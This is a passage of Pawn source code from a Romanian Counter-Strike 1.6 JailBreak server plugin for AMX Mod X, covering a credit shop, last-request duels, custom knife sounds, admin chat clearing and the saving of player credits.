if(equali(m_strText, m_strAnswer))
AwardPlayer(id);
}
static arg[192]
read_argv(1, arg, charsmax(arg))
if (contain(arg, "%") != -1)
{
replace_all(arg, charsmax(arg), "%", " ")
return PLUGIN_HANDLED
}
return PLUGIN_CONTINUE;
}
public AwardPlayer(id)
{
if(!is_user_connected(id) || !(CS_TEAM_UNASSIGNED < cs_get_user_team(id) < CS_TEAM_SPECTATOR) || !g_bQuestAlive)
return;
g_bQuestAlive = false;
new m_strWinner[32];
get_user_name(id, m_strWinner, charsmax(m_strWinner))
credite[id] += 25
get_user_name(id, m_strWinner, charsmax(m_strWinner))
chatcolor(0, "!y[!gMath Test!y] !yCel care a !graspuns !tcorect !yeste !t[!g%s!t]!y, raspunsul este !t[!g%i!t]!y.", m_strWinner, g_iAnswer)
return;
}
public UpdateClientData_Post ( id, sendweapons, cd_handle ){
if(!is_user_alive ( id ) || is_user_in_air ( id ) )
return FMRES_IGNORED;
if(g_GameMode != 3)
return FMRES_IGNORED;
set_cd ( cd_handle, CD_ID, 0 );
return FMRES_HANDLED;
}
stock bool: is_user_in_air ( id ) {
if ( !( pev ( id, pev_flags ) & FL_ONGROUND2 ) )
return true;
return false;
}
public WeaponChange(id)
{
if(g_Speed[id]) set_pev(id, pev_maxspeed, 444.0)
return PLUGIN_CONTINUE;
}
public ore_necesare(id)
{
if(is_user_connected(id))
{
new simon_menu = menu_create("Ore necesare pentru Admin", "cmd_mmenu");
menu_additem(simon_menu, "Manager - 450 ore", "1", 0);
menu_additem(simon_menu, "Supervisor - 280 ore", "2", 0);
menu_additem(simon_menu, "Good - 220 ore", "3", 0)
menu_additem(simon_menu, "Mod Global - 200 ore", "4", 0);
menu_additem(simon_menu, "Moderator - 160 ore", "5", 0);
menu_additem(simon_menu, "Administrator - 80 ore", "6", 0);
menu_additem(simon_menu, "Helper - 40 ore", "7", 0);
menu_additem(simon_menu, "Slot - GRATIS PE SITE", "8", 0)
menu_setprop(simon_menu, MPROP_EXIT, MEXIT_ALL);
menu_display(id, simon_menu, 0);
}
}
public discordcmd(id) chatcolor(id, "!y[!gDISCORD!y] Ca sa intri pe discordul nostru scrie: https://discord.gg/pETQJhsEGu pe browser..")
public native_set_user_tigari(id, amount)
credite[id] = amount;
public native_get_tigari(id)
return credite[id]
public adm_rrday(id)
{
if(get_user_flags(id) & read_flags("c"))
{
new nume[33]
get_user_name(id, nume, 33)
chatcolor(0, "!g[AdminControl]!y Admin-ul !y[!g%s!y] !ya folosit !g[!yjbe_rrday!g].", nume)
g_DayRestrict = 0;
}
}
public cmd_clearchat(id)
{
if(get_user_flags(id) & read_flags("c"))
{
new Name[32];
get_user_name(id, Name, 31);
chatcolor(0, "!g-------------------------------")
chatcolor(0, "!g-------------------------------")
chatcolor(0, "!g-------------------------------")
chatcolor(0, "!g-------------------------------")
chatcolor(0, "!yADMIN: !g%s !ya sters chatul!", Name)
log_to_file("logclearchat.log", "%s a sters chatul",Name)
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_connected(i))
continue
client_cmd(i, ";wait;wait;clear");
}
}
}
public fw_EmitSound(id, channel, const sample[], Float:volume, Float:attn, flags, pitch)
{
if (!is_user_connected(id))
return FMRES_IGNORED;
if (u_knife[id] == 3 &&equal(sample[8], "kni", 3))
{
volume = 0.6;
if (equal(sample[14], "sla", 3))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/hammer/knife_slash1_off.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
if(equal(sample,"weapons/knife_deploy1.wav"))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/hammer/knifedeploy.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
if (equal(sample[14], "hit", 3))
{
if (sample[17] == 'w')
{
engfunc(EngFunc_EmitSound, id, channel,"jb_sounds/VipSounds/hammer/hit1.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
else
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/hammer/hit2.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
}
if (equal(sample[14], "sta", 3))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/hammer/knife_stab123.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
}
if (u_knife[id] == 1 &&equal(sample[8], "kni", 3))
{
volume = 0.6;
if (equal(sample[14], "sla", 3))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/strong/knife_slash1.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
if(equal(sample,"weapons/knife_deploy1.wav"))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/strong/knife_deploy1.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
if (equal(sample[14], "hit", 3))
{
if (sample[17] == 'w')
{
engfunc(EngFunc_EmitSound, id, channel,"jb_sounds/VipSounds/strong/knife_hit1.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
else
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/strong/knife_hit2.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
}
if (equal(sample[14], "sta", 3))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/strong/knife_stab.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
}
if (u_knife[id] == 4 &&equal(sample[8], "kni", 3))
{
volume = 0.6;
if (equal(sample[14], "sla", 3))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/axe/knife_slash1.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
if(equal(sample,"weapons/knife_deploy1.wav"))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/axe/knife_deploy1.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
if (equal(sample[14], "hit", 3))
{
if (sample[17] == 'w')
{
engfunc(EngFunc_EmitSound, id, channel,"jb_sounds/VipSounds/axe/knife_hit1.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
else
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/axe/knife_hit2.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
}
if (equal(sample[14], "sta", 3))
{
engfunc(EngFunc_EmitSound, id, channel, "jb_sounds/VipSounds/axe/knife_stab.wav", volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
}
if(is_user_alive(id) && !u_knife[id]) {
for(new i = 0; i < sizeof(g_szKnifeSounds); i++) {
if(equal(sample, g_szKnifeSounds[i])) {
switch (i) {
case 3: i = 1;
case 4: i = 3;
case 5: i = 3;
case 6: i = -1;
case 7: i = -1;
case 8: i = 1;
}
if (i != -1) {
emit_sound(id, channel, g_szCustomKnifeSounds[i], volume, attn, flags, pitch);
return FMRES_SUPERCEDE;
}
else {
return FMRES_IGNORED;
}
}
}
}
return FMRES_IGNORED;
}
public cmd_resetscore(id)
{
if(!is_user_connected(id) || is_user_connecting(id)) return PLUGIN_HANDLED;
if(get_user_frags(id) == 0 && get_user_deaths(id) == 0) {
chatcolor(id, "!g[JailBreak] !yScorul tau este deja resetat.");
return PLUGIN_HANDLED;
}
cs_set_user_deaths(id, 0);
set_user_frags(id, 0);
new name[32];
get_user_name(id, name, charsmax(name));
chatcolor(id, "!g[JailBreak] !yScorul tau a fost resetat.")
return PLUGIN_HANDLED;
}
public SaveItems(id) {
new Name [ 32 ];
get_user_name ( id, Name, 31 );
new Save [ 1024 ];
format ( Save, sizeof ( Save ) - 1, "^"%s^" %d", Name, credite[id]);
new Line [ 128 ], Linie, IsPlayer = false, Arg1 [ 32 ]
new FileOpen = fopen ( SaveDataFile1, "rt" );
while ( !feof ( FileOpen ) ) {
fgets ( FileOpen, Line, 127 );
trim ( Line );
parse ( Line, Arg1, 31 );
if ( equali ( Arg1, Name ) ) {
write_file ( SaveDataFile1, Save, Linie );
IsPlayer = true;
break
}
Linie++;
}
fclose ( FileOpen )
if ( !IsPlayer )
write_file ( SaveDataFile1, Save, -1 );
}
public LoadItems(id) {
new Name [ 32 ];
get_user_name ( id, Name, 31 );
new Line [ 128 ], IsPlayer = false, Arg1 [ 32 ], Arg2 [ 32 ]
new FileOpen = fopen ( SaveDataFile1, "rt" );
while ( !feof ( FileOpen ) ) {
fgets ( FileOpen, Line, 127 );
trim ( Line );
parse ( Line, Arg1, 31, Arg2, 31);
if ( equali ( Arg1, Name ) ) {
credite[ id ] = str_to_num ( Arg2 );
IsPlayer = true;
break;
}
}
fclose ( FileOpen );
if ( !IsPlayer )
credite[id] = 0;
}
public plugin_end()
{
fclose ( fopen ( SaveDataFile1, "rt" ) );
}
public plugin_cfg() {
new FisierHartiJucate[64]
get_localinfo("amxx_configsdir", FisierHartiJucate, 63)
format(FisierHartiJucate, 63, "%s/hartianterioare.txt", FisierHartiJucate)
new Fisier = fopen(FisierHartiJucate, "rt")
new i
new Temporar[34]
if(Fisier)
{
for(i=0; i<5; i++)
{
if(!feof(Fisier))
{
fgets(Fisier, Temporar, 33)
replace(Temporar, 33, "^n", "")
formatex(NumeHarti[i], 33, Temporar)
}
}
fclose(Fisier)
}
delete_file(FisierHartiJucate)
new CurrentMap[34]
get_mapname(CurrentMap, 33)
Fisier = fopen(FisierHartiJucate, "wt")
if(Fisier)
{
formatex(Temporar, 33, "%s^n", CurrentMap)
fputs(Fisier, Temporar)
for(i=0; i<5-1; i++)
{
CurrentMap = NumeHarti[i]
if(!CurrentMap[0])
break
formatex(Temporar, 33, "%s^n", CurrentMap)
fputs(Fisier, Temporar)
}
fclose(Fisier)
}
}
public HartiJucateCuSay(id) {
new HartiAnterioare[192], n
n += formatex(HartiAnterioare[n], 191-n, "!g[JailBreak] !yHartile jucate anterior sunt:")
for(new i; i<5; i++)
{
if(!NumeHarti[i][0])
{
n += formatex(HartiAnterioare[n-1], 191-n+1, ".")
break
}
n += formatex(HartiAnterioare[n], 191-n, " %s%s", NumeHarti[i], i+1 == 5 ? "." : ",")
}
chatcolor(id, HartiAnterioare)
return PLUGIN_CONTINUE
}
public cmd_lastrequest(id)
{
static i, num[5], menu, menuname[32], option[64]
if(g_LastDenied || id != g_PlayerLast || !is_user_alive(id) || g_PlayerIsInDuel)
return PLUGIN_CONTINUE
formatex(menuname, charsmax(menuname), "Meniu Ultimul Prizonier LR")
menu = menu_create(menuname, "lastrequest_select")
formatex(option, charsmax(option), "Zi Libera")
menu_additem(menu, option, "1", 0)
formatex(option, charsmax(option), "30 credite")
menu_additem(menu, option, "2", 0)
formatex(option, charsmax(option), "Duel BOX")
menu_additem(menu, option, "3", 0)
for(i = 0; i < sizeof(_Duel); i++)
{
num_to_str(i + 4, num, charsmax(num))
formatex(option, charsmax(option), "%s", _Duel[i][_opt])
menu_additem(menu, option, num, 0)
}
menu_display(id, menu)
return PLUGIN_CONTINUE
}
public lastrequest_select(id, menu, item)
{
if(item == MENU_EXIT || !is_user_alive(id))
{
menu_destroy(menu)
return PLUGIN_HANDLED
}
if(g_GameMode)
{
chatcolor(id, "%L",0,"IS_DAYS_LR")
menu_destroy(menu)
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback, option[64]
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
get_user_name(id, dst, charsmax(dst))
switch(data[0])
{
case('1'):
{
formatex(option, charsmax(option), "%s a ales freeday", dst)
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
set_bit(g_FreedayAuto, id)
user_silentkill(id)
}
case('2'):
{
if(get_playersnum() >= 8)
{
formatex(option, charsmax(option), "%s a ales 30 credite", dst)
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
credite[id]+=30
user_silentkill(id)
} else {
chatcolor(id, "Trebuie sa fie minim 8 jucatori online ca sa primesti 30 credite.")
}
}
case('3'):
{
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_alive(i))
continue
strip_user_weapons(i)
}
g_Duel = 3
menu_players(id, CS_TEAM_CT, 0, 1, "duel_cutite", "Alege")
}
default:
{
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_alive(i))
continue
strip_user_weapons(i)
}
g_Duel = str_to_num(data)
menu_players(id, CS_TEAM_CT, 0, 1, "duel_arme", "Alege")
}
}
menu_destroy(menu)
return PLUGIN_HANDLED
}
public duel_cutite(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
g_LastDenied = 1
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback, option[128], player, src[32]
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
get_user_name(id, src, charsmax(src))
player = str_to_num(data)
formatex(option, charsmax(option), "Duel de BOX: %s vs %s", src, dst)
client_cmd(0, "mp3 play sound/jb_sounds/boxezw.mp3")
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
g_PlayerDuelT = id
strip_user_weapons(id)
player_glow(id, g_Colors[3])
set_user_health(player, 100)
clear_bit(g_PlayerCrowbar, id)
g_PlayerDuelCT = player
strip_user_weapons(player)
player_glow(player, g_Colors[2])
set_user_health(id, 100)
give_item(id, "weapon_knife")
give_item(player, "weapon_knife")
g_BlockWeapons = 1
g_PlayerIsInDuel = 1;
return PLUGIN_HANDLED
}
public duel_arme(id, menu, item)
{
if(item == MENU_EXIT && !is_user_connected(id))
{
menu_destroy(menu)
g_LastDenied = 1
g_Duel = 0
return PLUGIN_HANDLED
}
static dst[32], data[5], access, callback, option[168], player, src[32]
menu_item_getinfo(menu, item, access, data, charsmax(data), dst, charsmax(dst), callback)
get_user_name(id, src, charsmax(src))
player = str_to_num(data)
g_PlayerDuelT = id
g_PlayerDuelCT = player
player_glow(id, g_Colors[3])
clear_bit(g_PlayerCrowbar, id)
player_glow(player, g_Colors[2])
g_BlockWeapons = 1;
g_PlayerIsInDuel = 1;
switch(g_Duel)
{
case 4:
{
formatex(option, charsmax(option), "%s a ales duel cu DEAGLE^nDuel: %s vs %s", src, src, dst)
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
if(id > 0 && is_user_connected(id) && is_user_alive(id))
{
g_PlayerDuelT = id
strip_user_weapons(id)
new iEnt = give_item(id, "weapon_deagle")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 1)
set_user_health(id, 100)
player_glow(id, g_Colors[3])
}
if(player > 0 && is_user_connected(player) && is_user_alive(player))
{
g_PlayerDuelCT = player
strip_user_weapons(player)
new iEnt = give_item(player, "weapon_deagle")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 1)
set_user_health(player, 100)
player_glow(player, g_Colors[2])
}
client_cmd(0, "mp3 play sound/jb_sounds/lrduel.mp3")
}
case 5:
{
formatex(option, charsmax(option), "%s a ales duel cu SCOUT^nDuel: %s vs %s", src, src, dst)
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
if(id > 0 && is_user_connected(id) && is_user_alive(id))
{
g_PlayerDuelT = id
strip_user_weapons(id)
new iEnt = give_item(id, "weapon_scout")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 1)
set_user_health(id, 100)
player_glow(id, g_Colors[3])
}
if(player > 0 && is_user_connected(player) && is_user_alive(player))
{
g_PlayerDuelCT = player
strip_user_weapons(player)
new iEnt = give_item(player, "weapon_scout")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 1)
set_user_health(player, 100)
player_glow(player, g_Colors[2])
}
client_cmd(0, "mp3 play sound/jb_sounds/lrduel.mp3")
}
case 6:
{
formatex(option, charsmax(option), "%s a ales duel cu GRENADE^nDuel: %s vs %s", src, src, dst)
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
if(id > 0 && is_user_connected(id) && is_user_alive(id))
{
g_PlayerDuelT = id
strip_user_weapons(id)
new iEnt = give_item(id, "weapon_hegrenade")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 1)
set_user_health(id, 100)
player_glow(id, g_Colors[3])
}
if(player > 0 && is_user_connected(player) && is_user_alive(player))
{
g_PlayerDuelCT = player
strip_user_weapons(player)
new iEnt = give_item(player, "weapon_hegrenade")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 1)
set_user_health(player, 100)
player_glow(player, g_Colors[2])
}
client_cmd(0, "mp3 play sound/jb_sounds/lrduel.mp3")
}
case 7:
{
formatex(option, charsmax(option), "%s a ales duel cu AWP^nDuel: %s vs %s", src, src, dst)
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
if(id > 0 && is_user_connected(id) && is_user_alive(id))
{
g_PlayerDuelT = id
strip_user_weapons(id)
new iEnt = give_item(id, "weapon_awp")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 1)
set_user_health(id, 100)
player_glow(id, g_Colors[3])
}
if(player > 0 && is_user_connected(player) && is_user_alive(player))
{
g_PlayerDuelCT = player
strip_user_weapons(player)
new iEnt = give_item(player, "weapon_awp")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 1)
set_user_health(player, 100)
player_glow(player, g_Colors[2])
}
client_cmd(0, "mp3 play sound/jb_sounds/lrduel.mp3")
}
case 8:
{
formatex(option, charsmax(option), "%s a ales duel cu M4A1^nDuel: %s vs %s", src, src, dst)
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
if(id > 0 && is_user_connected(id) && is_user_alive(id))
{
g_PlayerDuelT = id
strip_user_weapons(id)
new iEnt = give_item(id, "weapon_m4a1")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 3)
set_user_health(id, 100)
player_glow(id, g_Colors[3])
}
if(player > 0 && is_user_connected(player) && is_user_alive(player))
{
g_PlayerDuelCT = player
strip_user_weapons(player)
new iEnt = give_item(player, "weapon_m4a1")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 3)
set_user_health(player, 100)
player_glow(player, g_Colors[2])
}
client_cmd(0, "mp3 play sound/jb_sounds/lrduel.mp3")
}
case 9:
{
formatex(option, charsmax(option), "%s a ales duel cu AK47^nDuel: %s vs %s", src, src, dst)
player_hudmessage(0, 6, 3.0, {0, 255, 0}, option)
if(id > 0 && is_user_connected(id) && is_user_alive(id))
{
g_PlayerDuelT = id
strip_user_weapons(id)
new iEnt = give_item(id, "weapon_ak47")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 3)
set_user_health(id, 100)
player_glow(id, g_Colors[3])
}
if(player > 0 && is_user_connected(player) && is_user_alive(player))
{
g_PlayerDuelCT = player
strip_user_weapons(player)
new iEnt = give_item(player, "weapon_ak47")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 3)
set_user_health(player, 100)
player_glow(player, g_Colors[2])
}
client_cmd(0, "mp3 play sound/jb_sounds/lrduel.mp3")
}
}
g_PlayerIsInDuel = 1;
return PLUGIN_HANDLED
}
public player_cmdstart(id, handle, seed)
{
if(is_user_alive(id) && g_Duel)
{
if(g_Duel == 4)
cs_set_user_bpammo(id, CSW_DEAGLE, 1)
else if(g_Duel == 5)
cs_set_user_bpammo(id, CSW_SCOUT, 1)
else if(g_Duel == 6)
cs_set_user_bpammo(id, CSW_HEGRENADE, 1)
else if(g_Duel == 7)
cs_set_user_bpammo(id, CSW_AWP, 1)
else if(g_Duel == 8)
cs_set_user_bpammo(id, CSW_M4A1, 1)
else if(g_Duel == 9)
cs_set_user_bpammo(id, CSW_AK47, 1)
}
return FMRES_HANDLED
}
public task_last_duel()
{
if(g_RoundEnd || g_TeamAlive[CS_TEAM_CT] <= 0)
return PLUGIN_HANDLED
new TAlive
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_alive(i))
continue
if(cs_get_user_team(i) == CS_TEAM_T)
TAlive++
}
if(TAlive == 1)
{
for(new i = 0; i <= get_maxplayers(); i++)
{
if(!is_user_alive(i))
continue
if(cs_get_user_team(i) == CS_TEAM_T)
{
g_PlayerLast = i
cmd_lastrequest(i)
break;
}
}
}
return PLUGIN_CONTINUE
}
public duel_end()
{
client_cmd(0, "stopsound")
task_last_duel()
g_Duel = 0
g_PlayerDuelT = 0
g_PlayerDuelCT = 0
g_LastDenied = 0
g_PlayerLast = 0
g_BlockWeapons = 0
}
public VipStatus(const MsgId, const MsgType, const MsgDest)
{
static id;
id = get_msg_arg_int(1);
if(get_user_flags(id) & read_flags("x") && !get_msg_arg_int(2))
set_msg_arg_int(2, ARG_BYTE, (1 << 2 ));
}
stock create_explosion(const origin[3])
{
message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
write_byte(21);
write_coord(origin[0]);
write_coord(origin[1]);
write_coord(origin[2]);
write_coord(origin[0]);
write_coord(origin[1]);
write_coord(origin[2] + 385);
write_short(ShockwSpr);
write_byte(0);
write_byte(0);
write_byte(4);
write_byte(60);
write_byte(0);
write_byte(0);
write_byte(206);
write_byte(209);
write_byte(100);
write_byte(0);
message_end();
message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
write_byte(21);
write_coord(origin[0]);
write_coord(origin[1]);
write_coord(origin[2]);
write_coord(origin[0]);
write_coord(origin[1]);
write_coord(origin[2] + 470);
write_short(ShockwSpr);
write_byte(0);
write_byte(0);
write_byte(4);
write_byte(60);
write_byte(0);
write_byte(0);
write_byte(206);
write_byte(209);
write_byte(100);
write_byte(0);
message_end();
message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
write_byte(21);
write_coord(origin[0]);
write_coord(origin[1]);
write_coord(origin[2]);
write_coord(origin[0]);
write_coord(origin[1]);
write_coord(origin[2] + 555);
write_short(ShockwSpr);
write_byte(0);
write_byte(0);
write_byte(4);
write_byte(60);
write_byte(0);
write_byte(0);
write_byte(206);
write_byte(209);
write_byte(100);
write_byte(0);
message_end();
message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
write_byte(27);
write_coord(origin[0]);
write_coord(origin[1]);
write_coord(origin[2]);
write_byte(floatround(240.0/5.0));
write_byte(0);
write_byte(206);
write_byte(209);
write_byte(8);
write_byte(60);
message_end();
}
Blood( iorigin[ 3 ] )
{
message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
write_byte( TE_LAVASPLASH );
write_coord( iorigin[ 0 ] );
write_coord( iorigin[ 1 ] );
write_coord( iorigin[ 2 ] );
message_end();
}
public cmd_shopmenu(id)
{
new szText[ 555 char ];
if(ShopUsed[id])
{
chatcolor(id, "!y[!gSHOP!y] Poti folosi shop-ul doar odata pe runda.")
return PLUGIN_HANDLED;
}
if(get_user_team(id) == 0 || g_GameMode || g_PlayerLast || g_GunDayFortat)
{
return PLUGIN_HANDLED;
}
if(cs_get_user_team(id) == CS_TEAM_T)
{
formatex( szText, charsmax( szText ), "\yMagazinul \rPrizonierilor^n\yCredite:\w %d", credite[id])
new shop_menu = menu_create( szText, "ShopMenuT_handler" );
formatex( szText, charsmax( szText ), "HE Grenade \d- \y250 Credite" );
menu_additem( shop_menu, szText, "1", 0 );
formatex( szText, charsmax( szText ), "Freeday \d- \y350 Credite" );
menu_additem( shop_menu, szText, "2", 0 );
formatex( szText, charsmax( szText ), "Baros De Spart Capuri \d - \y450 Credite" );
menu_additem( shop_menu, szText, "3", 0 );
formatex( szText, charsmax( szText ), "Viteza \d- \y520 Credite" );
menu_additem( shop_menu, szText, "4", 0 );
formatex( szText, charsmax( szText ), "Gravitatie \d- \y500 Credite" );
menu_additem( shop_menu, szText, "5", 0 );
formatex( szText, charsmax( szText ), "Deagle(2 gloante) \d- \y550 Credite" );
menu_additem( shop_menu, szText, "6", 0 );
formatex( szText, charsmax( szText ), "Scout(5 gloante) \d- \y570 Credite" );
menu_additem( shop_menu, szText, "7", 0 );
formatex( szText, charsmax( szText ), "Deghizare \d- \y520 Credite" );
menu_additem( shop_menu, szText, "8", 0 );
formatex( szText, charsmax( szText ), "80 HP \d - \y150 Credite" );
menu_additem( shop_menu, szText, "9", 0 );
formatex( szText, charsmax( szText ), "Revive \d - \y500 Credite" );
menu_additem( shop_menu, szText, "10", 0 );
formatex( szText, charsmax( szText ), "Droguri \d - \y250 Credite" );
menu_additem( shop_menu, szText, "11", 0 );
menu_display( id, shop_menu, 0)
}
else if(cs_get_user_team(id) == CS_TEAM_CT)
{
formatex( szText, charsmax( szText ), "\yMagazinul \rGardienilor^n\yCredite: %d", credite[id]);
new shop_menu = menu_create( szText, "ShopMenuCT_handler" );
formatex( szText, charsmax( szText ), "Invizibilitate \d- \y250 Credite" );
menu_additem( shop_menu, szText, "1", 0 );
formatex( szText, charsmax( szText ), "Viteza \d- \y250 Credite" );
menu_additem( shop_menu, szText, "2", 0 );
formatex( szText, charsmax( szText ), "Reinvie \d- \y250 Credite" );
menu_additem( shop_menu, szText, "3", 0 );
formatex( szText, charsmax( szText ), "150 HP \d- \y100 Credite" );
menu_additem( shop_menu, szText, "4", 0 );
menu_display( id, shop_menu, 0)
}
return PLUGIN_HANDLED;
}
public ShopMenuT_handler( id, menu, item )
{
if( item == MENU_EXIT )
{
menu_destroy( menu )
return PLUGIN_HANDLED
}
if(get_user_team(id) == 0)
{
return PLUGIN_HANDLED;
}
new data[6], iName[64]
new access, callback
new name[32]
get_user_name(id, name, charsmax(name))
menu_item_getinfo( menu, item, access, data,5, iName, 63, callback )
new key = str_to_num( data )
switch( key )
{
case 1:
{
if(is_user_alive(id) && credite[id]>=250)
{
give_item(id, "weapon_hegrenade")
chatcolor(id, "[SHOP] Ai primit o grenada!")
credite[id]=credite[id]-250
ShopUsed[id] = true;
g_Invizibil[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop 1 grenada", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 2:
{
if(is_user_alive(id) && credite[id]>=350 && !get_bit(g_PlayerWanted, id))
{
chatcolor(id, "[SHOP] Ai primit freeday!")
credite[id]=credite[id]-350
set_bit(g_PlayerFreeday, id)
cs_set_player_model(id, "jblgcs")
set_pev(id, pev_body, 2)
set_pev(id, pev_skin, 3)
ShopUsed[id] = true;
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau nu indeplinesti anumite conditii!")
}
case 3:
{
if(is_user_alive(id) && credite[id] >= 450)
{
engclient_cmd(id, "weapon_knife")
u_knife[id] = 3
set_pev(id, pev_viewmodel2, "models/jb_models/VipModels/v_hammer.mdl")
set_pev(id, pev_weaponmodel2, "models/jb_models/VipModels/p_hammer.mdl")
chatcolor(id, "[SHOP] !yAi cumparat !tBAROS !")
credite[id]=credite[id]-450
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop 1 baros", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 4:
{
if(is_user_alive(id) && credite[id]>=520)
{
set_pev(id, pev_maxspeed, 444.0)
g_Speed[id] = 1
chatcolor(id, "[SHOP] Ai primit viteza mai mare!")
credite[id]=credite[id]-520
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop viteza", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 5:
{
if(is_user_alive(id) && credite[id]>=500)
{
set_user_gravity(id, 0.4)
chatcolor(id, "[SHOP] Ai primit gravitatie scazuta!")
credite[id]=credite[id]-500
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop gravity", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 6:
{
if(is_user_alive(id) && credite[id]>=550)
{
new iEnt = give_item(id, "weapon_deagle")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 2)
chatcolor(id, "[SHOP] Ai primit un deagle cu 2 gloante!")
credite[id]=credite[id]-550
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop 1 deagle", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 7:
{
if(is_user_alive(id) && credite[id]>=570)
{
new iEnt = give_item(id, "weapon_scout")
if (is_valid_ent(iEnt))
cs_set_weapon_ammo(iEnt, 5)
chatcolor(id, "[SHOP] Ai primit un scout cu 5 gloante!")
credite[id]=credite[id]-570
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop 1 scout", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 8:
{
if(is_user_alive(id) && credite[id]>=520)
{
cs_set_player_model(id, "jblgcs")
set_pev(id, pev_body, 3)
chatcolor(id, "[SHOP] Ai primit deghizare! Acum arati ca un gardian.")
credite[id]=credite[id]-520
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop deghizare", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 9:
{
if(is_user_alive(id) && credite[id] >= 150)
{
set_user_health(id, get_user_health(id) +80)
chatcolor(id, "!g[SHOP] !yAi cumparat !t80 HP!")
credite[id]=credite[id]-150
ShopUsed[id] = true;
if(g_organizator[id]) log_to_file("logshoporganizatori.log", "%s si-a luat din shop 80 hp", name)
}
else
chatcolor(id, "[SHOP] Nu ai destule credite sau esti mort!")
}
case 10:
{
if(!is_user_alive(id) && credite[id] >= 500)
{
ExecuteHamB(Ham_CS_RoundRespawn, id)
chatcolor(id, "!g[SHOP] !yAi cumparat !tREVIVE !")
credite[id]=credite[id]-500
ShopUsed[id] = true;
g_PlayerRevived[id] = 1;
